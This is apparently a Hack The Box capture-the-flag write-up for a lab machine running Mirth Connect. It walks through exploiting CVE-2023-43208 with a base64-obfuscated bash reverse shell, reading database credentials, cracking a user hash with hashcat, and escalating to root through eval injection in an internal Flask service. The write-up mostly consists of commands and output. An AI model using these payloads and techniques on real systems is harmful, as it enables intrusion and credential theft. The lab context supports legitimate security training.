# بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ In this write-up, we will walk through the steps to hack the interpreter machine on Hack The Box. Let's dive in! ## Recon We began by performing an **Nmap** scan to identify open ports and services on the target machine. ```bash nmap 10.129.1.XXX -A -T5 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-21 20:49 -0500 Nmap scan report for 10.129.1.XXX Host is up (0.051s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA) |_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519) 80/tcp open http Jetty |_http-title: Mirth Connect Administrator | http-methods: |_ Potentially risky methods: TRACE 443/tcp open ssl/http Jetty |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mirth-connect | Not valid before: 2025-09-19T12:50:05 |_Not valid after: 2075-09-19T12:50:05 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Mirth Connect Administrator Device type: general purpose|router Running: Linux 5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.86 seconds ``` ## Web app + vulnerability research so we're gonna access the website and see what application is hosted there , the application seems like an application for healthcare , We're gonna start googling to see if there is any related CVE or something can lead us further so we find a CVE-2023-43208 so we're gonna try and see if we can get the shell with it so I tried to execute this POC https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc/blob/master/CVE-2023-43208.py so I tried many times to execute the simple rev shell , until i see that there is a Runtime.exec() , by asking ChatGPT we know that the Runtime.exec is fragile and weak with the shell metacharacters(>,&) or it can be a WAF who knows , so I tried to encode the rev shell and ```bash shell= $(echo 'bash -i >& /dev/tcp/[ip]/1234 0>&1' | base64) ``` after that we're gonna execute the payload ```bash python3 CVE-2023-43208.py -u https://[ip] -c "bash -c {echo,($shell)}|{base64,-d}|{bash,-i}" ``` ## Initial access after that we're gonna get the shell with nc ```bash nc -vlntp 1234 listening on [any] 1234 ... connect to [10.10.XX.XX] from (UNKNOWN) [10.129.1.XXX] 44402 bash: cannot set terminal process group (3496): Inappropriate ioctl for device bash: no job control in this shell mirth@interpreter:/usr/local/mirthconnect$ ``` ## Post-exploitation enumeration we got the shell, we're gonna look inside the machine , and see if something interesting gonna appear , so looking for database or some configuration about the application i found that there are some files in the /usr/local/mirthconnect ```bash cat /usr/local/mirthconnect/conf/mirth.properties # database credentials database.username = mirthdb database.password = MirthPass123! ## Enumearte for User ``` so we found a password for the database, let's connect and see if there is any password stored there ```bash mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e "select p.ID,p.USERNAME,pp.PASSWORD from PERSON p join PERSON_PASSWORD pp on p.ID=pp.PERSON_ID;" ID USERNAME PASSWORD 2 sedric u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== ``` I tried to crack this password using a Hashcat but it was painful ```bash blob='u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' hex=$(echo "$blob" | base64 -d | xxd -p -c 999) # try split A (salt first 8 bytes, hash rest) saltA=$(echo "$hex" | cut -c1-16 | xxd -r -p | base64) hashA=$(echo "$hex" | cut -c17- | xxd -r -p | base64) echo "sha256:600000:$saltA:$hashA" > hA.txt hashcat -m 10900 -a 0 hA.txt /usr/share/wordlists/rockyou.txt --force sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1 Session..........: hashcat Status...........: Cracked Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256) Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps= Time.Started.....: Sun Feb 22 12:07:47 2026, (16 mins, 18 secs) Time.Estimated...: Sun Feb 22 12:24:05 2026, (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 10 H/s (18.28ms) @ Accel:54 Loops:1000 Thr:1 Vec:4 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 9936/14344385 (0.07%) Rejected.........: 0/9936 (0.00%) Restore.Point....: 9828/14344385 (0.07%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-599999 Candidate.Engine.: Device Generator Candidates.#01...: boracay -> lovelyme Hardware.Mon.#01.: Util: 92% ``` ## Internal port enumeration so we found the password of the user sedric next we gonna see the ports that are open in the machine ```bash ssh sedric@10.129.2.121 sedric@10.129.2.121's password: #snowflake1 sedric@interpreter:~$ ss -nltp State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 127.0.0.1:54321 0.0.0.0:* LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 256 0.0.0.0:6661 0.0.0.0:* LISTEN 0 50 0.0.0.0:443 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 50 0.0.0.0:80 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* ``` hmm a port like 54321 is suspicious , so I send an request to see what on the earth is going on this internal port ```bash sedric@interpreter:~$ timeout 3 bash -c "printf 'GET / HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc 127.0.0.1 54321 -nv" 2>&1 | head -n 40 (UNKNOWN) [127.0.0.1] 54321 (?) open HTTP/1.1 404 NOT FOUND Server: Werkzeug/2.2.2 Python/3.11.2 Date: Sun, 22 Feb 2026 17:39:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 207 Connection: close 404 Not Found

Not Found

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``` hmm a Werkzeug server and python3 ### Identify process behind 54321 after having this information we gonna try to see what process behind this port ```bash sedric@interpreter:~$ ps -ef | grep -Ei "python|werkzeug|54321" | grep -v grep root 3559 1 0 11:41 ? 00:00:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start root 3565 1 0 11:41 ? 00:00:00 /usr/bin/python3 /usr/local/bin/notif.py ``` ## Endpoint discovery: /addPatient so we got fail2ban script and notif.py script , first we gonna read the notif.py script and see if we can get any information for Escalation ```python sedric@interpreter:~$ cat /usr/local/bin/notif.py except: return "[INVALID_DOB]" template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}" try: return eval(f"f'''{template}'''") except Exception as e: return f"[EVAL_ERROR] {e}" ``` it builds an f-string template with user-controlled fields (`first`, `last`, `sender`, `ts`, `gender`) and then executes it with `eval()`. this is the root cause: the script evaluates user-controlled data inside an f-string, which leads to code execution. also we discover an new endpoint addPatient that accept Post Request and the tags that we gonna use to send the request ```python @app.route("/addPatient", methods=["POST"]) ----- data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]} notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"]) ``` with these information of tags we gonna test if the request we gonna use it works or not with these information of tags we're gonna create a one-line Python script that creates this ```bash sedric@interpreter:~$ python3 -c 'import requests;u="http://127.0.0.1:54321/addPatient";x="20250101000001Me4444Someonewas09/09/1999M";r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8);print(r.status_code);print(r.text)' Patient Someone was (M), 27 years old, received from Me at 20250101000001 ``` ## Exploitation (eval injection) after successfully create a patient, we're gonna inject our payload in the XML code as we did in the first on the CVE ```xml {__import__("os").popen("id").read()} ``` full payload: ```bash sedric@interpreter:~$ python3 - <<'PY' import requests u="http://127.0.0.1:54321/addPatient" p='{__import__("os").popen("id").read().strip()}' x=f""" 20250101000001 Me 4444 {p} was 09/09/1999 F """ r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8) print(r.text) PY Patient uid=0(root) gid=0(root) groups=0(root) was (F), 27 years old, received from Me at 20250101000001 ``` as we can see, we successfully executed the id command ## Reading flags so all that remains is to read the flag files and that's easy just by modifying the payload page ```bash sedric@interpreter:~$ python3 - <<'PY' import requests u="http://127.0.0.1:54321/addPatient" p='{__import__("builtins").open(chr(47)+"root"+chr(47)+"root.txt").read().strip()}' x=f""" 20250101000001 Me 4444 {p} was 09/09/1999 F """ r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8) print(r.text) PY Patient 7a6af1XXXXXXXXXXXXXXXXXXX Doe (M), 36 years old, received from Me at 20250101000001 ``` for the user flag, all you need to do is change the payload ```python __import__("builtins").open(chr(47)+"root"+chr(47)+"root.txt").read().strip() ``` to this payload ```python __import__("builtins").open(chr(47)+"home"+chr(47)+"sedric"+chr(47)+"user.txt").read().strip() ``` Note: I tried many times to get the root shell , but all I got is 200 [INVALID_INPUT]

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